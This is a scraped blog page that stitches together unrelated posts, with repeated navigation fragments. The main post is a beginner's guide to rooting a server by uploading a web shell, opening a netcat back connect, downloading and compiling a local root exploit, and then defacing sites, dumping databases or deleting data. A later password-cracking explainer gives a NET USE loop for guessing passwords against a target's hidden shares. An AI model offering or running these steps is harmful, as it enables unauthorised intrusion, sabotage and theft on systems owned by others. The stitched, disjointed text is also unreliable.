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Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).

We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).

In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.

After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to

find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.

You can know that from your shell, for example, this version is 2.6.18 – 2012

Go to EXECUTE on your shell and write "uname -a". You will get the same result, by the way.

Now how to find the local root.

You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :

Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.

So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD if you are under Windows. I will explain only Linux, and for Windows, its all the same.

After that Follow the steps :

1- Press nc -vlp 433

2- Wget [the link of the local-Root.zip]

3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local

gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)

Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.

AFTER THE ROOT

As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

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We posted our take on the Trump's server story. If you have any feedback or corrections, send me an email (see my blog profile on Contagio or DeepEnd Research)

Analysis of Trump's secret server story...

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This blog based on two major concepts:

Understand password-cracking techniques
Understand different types of passwords

The simplest way to crack the passwords

The first step is to access the system is that you should know how to crack the password of the target system. Passwords are the key element of information require to access the system, and users also selects passwords that are easy to guess such as mostly people has a passwords of their pet's name or room number etc to help them remember it. Because of this human factor, most password guessing is successful if some information is known about the target. Information gathering and reconnaissance can help give away information that will help a hacker guess a user's password.

Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.

Types of Passwords

Only numbers
Only letters
Only special characters
Letters and numbers
Only letters and special characters
Numbers, letters and special characters

A strong password is less susceptible to attack by a hacker. The following rules, proposed by the EC-Council, should be applied when you're creating a password, to protect it against attacks:

Must not contain any part of the user's account name
Must have a minimum of eight characters
Must contain characters from at least three of the following categories:
- Non alphanumeric symbols ($,:"%@!#)
- Numbers
- Uppercase letters
- Lowercase letters

A hacker may use different types of attacks in order to identify a password and gain further access to a system. The types of password attacks are as follows:

Passive Online

Eavesdropping on network password exchanges. Passive online attacks
include sniffing, man-in-the-middle, and replay attacks. Moreover, a passive online attack is also known as sniffing the password on a wired or wireless network. A passive attack is not detectable to the end user. The password is captured during the authentication process and can then be compared against a dictionary file or word list. User account passwords are commonly hashed or encrypted when sent on the network to prevent unauthorized access and use. If the password is protected by encryption or hashing, special tools in the hacker's toolkit can be used to break the algorithm.

Another passive online attack is known as man-in-the-middle (MITM). In a MITM attack, the hacker intercepts the authentication request and forwards it to the server. By inserting a sniffer between the client and the server, the hacker is able to sniff both connections and capture passwords in the process.

A replay attack is also a passive online attack; it occurs when the hacker intercepts the password en route to the authentication server and then captures and resend the authentication packets for later authentication. In this manner, the hacker doesn't have to break the password or learn the password through MITM but rather captures the password and reuses the password-authentication packets later to authenticate as the client.

Active Online

Guessing the Administrator password. Active online attacks include auto-
mated password guessing. Moreover, The easiest way to gain administrator-level access to a system is to guess a simple password assuming the administrator used a simple password. Password guessing is an active online attack. It relies on the human factor involved in password creation and only works on weak
passwords.

Assuming that the NetBIOS TCP 139 port is open, the most effective method of breaking into a Windows NT or Windows 2000 system is password guessing. This is done by attempting to connect to an enumerated share ( IPC$ or C$ ) and trying a username and password combination. The most commonly used Administrator account and password combinations are words like Admin, Administrator, Sysadmin, or Password, or a null password.
A hacker may first try to connect to a default Admin$ , C$ , or C:\Windows share. To connect to the hidden C: drive share, for example, type the following command in the Run field (Start ➪ Run):

\\ip_address\c$

Automated programs can quickly generate dictionary files, word lists, or every possible combination of letters, numbers, and special characters and then attempt to log on using those credentials. Most systems prevent this type of attack by setting a maximum number of login attempts on a system before the account is locked.

In the following sections, we'll discuss how hackers can perform automated password guessing more closely, as well as countermeasures to such attacks.

Performing Automated Password Guessing

To speed up the guessing of a password, hackers use automated tools. An easy process for automating password guessing is to use the Windows shell commands based on the standard NET USE syntax. To create a simple automated password-guessing script, perform the following steps:

Create a simple username and password file using Windows Notepad. Automated tools such as the Dictionary Generator are available to create this word list. Save the file on the C: drive as credentials.txt.
Pipe this file using the FOR command: C:\> FOR /F "token=1, 2*" %i in (credentials.txt)
Type net use \\targetIP\IPC$ %i /u: %j to use the credentials.txt file to attempt to log on to the target system's hidden share.

Offline Attacks

Offline attacks are performed from a location other than the actual computer where the passwords reside or were used. Offline attacks usually require physical access to the computer and copying the password file from the system onto removable media. The hacker then takes the file to another computer to perform the cracking. Several types of offline password attacks exist.

Types of Attack	Characteristics	Password Example
Dictionary attack	Attempts to use passwords from a list of dictionary words	Administrator
Hybrid attack	Substitutes numbers of symbols for password characters	Adm1n1strator
Brute-force attack	Tries all possible combinations of letters, numbers, and special characters	Ms!tr245@F5a

A dictionary attack is the simplest and quickest type of attack. It's used to identify a password that is an actual word, which can be found in a dictionary. Most commonly, the attack uses a dictionary file of possible words, which is hashed using the same algorithm used by the authentication process. Then, the hashed dictionary words are compared with hashed passwords as the user logs on, or with passwords stored in a file on the server. The dictionary attack works only if the password is an actual dictionary word; therefore, this type of attack has some limitations. It can't be used against strong passwords containing numbers or other symbols.

A hybrid attack is the next level of attack a hacker attempts if the password can't be found using a dictionary attack. The hybrid attack starts with a dictionary file and substitutes numbers and symbols for characters in the password. For example, many users add the number 1 to the end of their password to meet strong password requirements. A hybrid attack is designed to find those types of anomalies in passwords.

The most time-consuming type of attack is a brute-force attack, which tries every possible combination of uppercase and lowercase letters, numbers, and symbols. A brute-force attack is the slowest of the three types of attacks because of the many possible combinations of characters in the password. However, brute force is effective; given enough time and processing power, all passwords can eventually be identified.Related articles

urdi24

lunes, 29 de mayo de 2023

HOW TO ROOT A SERVER? – SERVER ROOTING

HOW TO ROOT A SERVER?

HOW TO SEARCH LOCAL ROOT?

HOW TO GET ROOT ACCESS?

More information

DeepEnd Research: Analysis Of Trump's Secret Server Story

Analysis of Trump's secret server story...

Related news

System Hacking: Password Cracking Techniques And Types Of Passwords

The simplest way to crack the passwords

Types of Passwords

Passive Online

Active Online

Performing Automated Password Guessing

Offline Attacks

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urdi24

lunes, 29 de mayo de 2023

HOW TO ROOT A SERVER? – SERVER ROOTING

HOW TO ROOT A SERVER?

HOW TO SEARCH LOCAL ROOT?

HOW TO GET ROOT ACCESS?

More information

DeepEnd Research: Analysis Of Trump's Secret Server Story

Analysis of Trump's secret server story...

Related news

System Hacking: Password Cracking Techniques And Types Of Passwords

The simplest way to crack the passwords

Types of Passwords

Passive Online

Active Online

Performing Automated Password Guessing

Offline Attacks

Acá tenes otra N

Cambiamos de Web

Certificado Google Analytics

Etiquetas

Ultimas Noticias

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